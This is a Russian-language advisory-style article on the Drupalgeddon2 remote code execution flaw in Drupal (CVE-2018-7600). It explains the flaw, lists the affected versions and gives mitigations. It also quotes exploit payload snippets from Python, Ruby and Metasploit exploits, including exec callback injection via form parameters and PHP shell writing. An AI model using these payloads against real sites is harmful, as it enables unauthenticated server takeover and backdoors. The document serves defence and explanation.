
Уязвимость BDU:2021-00549 (cve-2018-7600) CMS Drupal
Уязвимость BDU:2021-00549 (cve-2018-7600), также известная как Drupalgeddon2, является критической (CVSS 9.8) уязвимостью в системе управления контентом Drupal. Она позволяет удаленному злоумышленнику выполнить произвольный код на сервере без аутентификации. Рассмотрим технические аспекты уязвимости, примеры эксплойтов и методы защиты.
Анализ уязвимости
Уровень опасности: 9.8 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сетевой) – Удалённая атака через сеть (интернет).
-
AC:L (Сложность атаки: Низкая) – Эксплуатация не требует сложных условий.
-
PR:N (Привилегии: Нет) – Доступ к системе не нужен.
-
UI:N (Взаимодействие: Нет) – Участие пользователя не требуется.
-
S:U (Область: Неизменная) – Влияет только на целевую систему.
-
C:H (Конфиденциальность: Высокое) – Полная утечка данных.
-
I:H (Целостность: Высокое) – Возможность полного изменения данных.
-
A:H (Доступность: Высокое) – Критическое нарушение работы системы.
Интерпретация: Критическая уязвимость (9.8) позволяет удалённо без прав и участия пользователя нарушить конфиденциальность, целостность и доступность системы. Риск максимален из-за простоты эксплуатации и полного контроля над уязвимым компонентом.
Суть уязвимости
Проблема возникает в механизме обработки AJAX-форм Drupal, где недостаточно проверяются пользовательские данные. Уязвимость связана с возможностью внедрения массивов #
(символов, используемых в Drupal для метаданных форм) через параметры HTTP-запроса. Это позволяет переопределить callback-функции, такие как #post_render
или #lazy_builder
, и выполнить произвольные команды.
Условия эксплуатации
-
Доступность уязвимых форм:
-
Для Drupal 8:
/user/register
,/user/password
. -
Для Drupal 7:
/user/password
.
-
-
Версии Drupal:
-
Drupal 7.x до 7.58
-
Drupal 8.3.x до 8.3.9
-
Drupal 8.4.x до 8.4.6
-
Drupal 8.5.x до 8.5.1
-
-
Сетевой доступ: Эксплуатация возможна удаленно, без необходимости внутреннего доступа.
Анализ эксплойтов
1. Python-эксплойт (PoC)
Скрипт для эксплутации уязвимости BDU:2021-00549 (cve-2018-7600) отправляет POST-запрос к форме регистрации, подменяя параметры обработки данных:
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = { 'form_id': 'user_register_form', 'mail[#post_render][]': 'exec', # Переопределение callback 'mail[#markup]': 'echo ";-)" | tee hello.txt' # Произвольная команда }
-
element_parents=account/mail/%23value
указывает на элемент формы, где%23
заменяет символ#
. -
mail[#post_render][]=exec
заменяет стандартную функцию обработки данных наexec
, что приводит к выполнению команды.
2. Ruby-эксплойт
Этот скрипт использует более сложную логику:
-
Определяет версию Drupal через анализ CHANGELOG или метатегов.
-
Для Drupal 8 внедряет команды через параметры
#lazy_builder
или#post_render
.
Пример генерации payload для Drupal 8:
url, payload = gen_evil_url("echo #{random}", "mail") # Где gen_evil_url создает URL вида: # /user/register?element_parents=account/mail/%23value&ajax_form=1...
-
Для записи PHP-шелла используется
tee
, обходя ограничения на выполнение PHP в папках Drupal.
3. Metasploit-модуль
Модуль генерирует multipart-запрос с полезной нагрузкой:
data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')
-
Полезная нагрузка кодируется в base64 и выполняется через
php -r
, что позволяет обойти ограничения на длину параметров.
Векторы атаки
-
Удаленное выполнение кода (RCE): Через внедрение команд в параметры форм.
-
Создание бэкдоров: Запись PHP-шеллов в веб-корень.
-
Обход безопасной конфигурации: Например, переименование
.htaccess
для разрешения выполнения PHP.
Защита и рекомендации
-
Обновление Drupal:
-
Установить версии 7.58, 8.3.9, 8.4.6, 8.5.1 или новее.
-
-
Конфигурация веб-сервера:
-
Ограничить доступ к административным формам через
.htaccess
или WAF.
-
-
Мониторинг:
-
Проверять наличие подозрительных файлов (например,
hello.txt
,shell.php
).
-
-
Пример блокировки уязвимого пути в Nginx:
location ~* /user/(register|password) { deny all; }
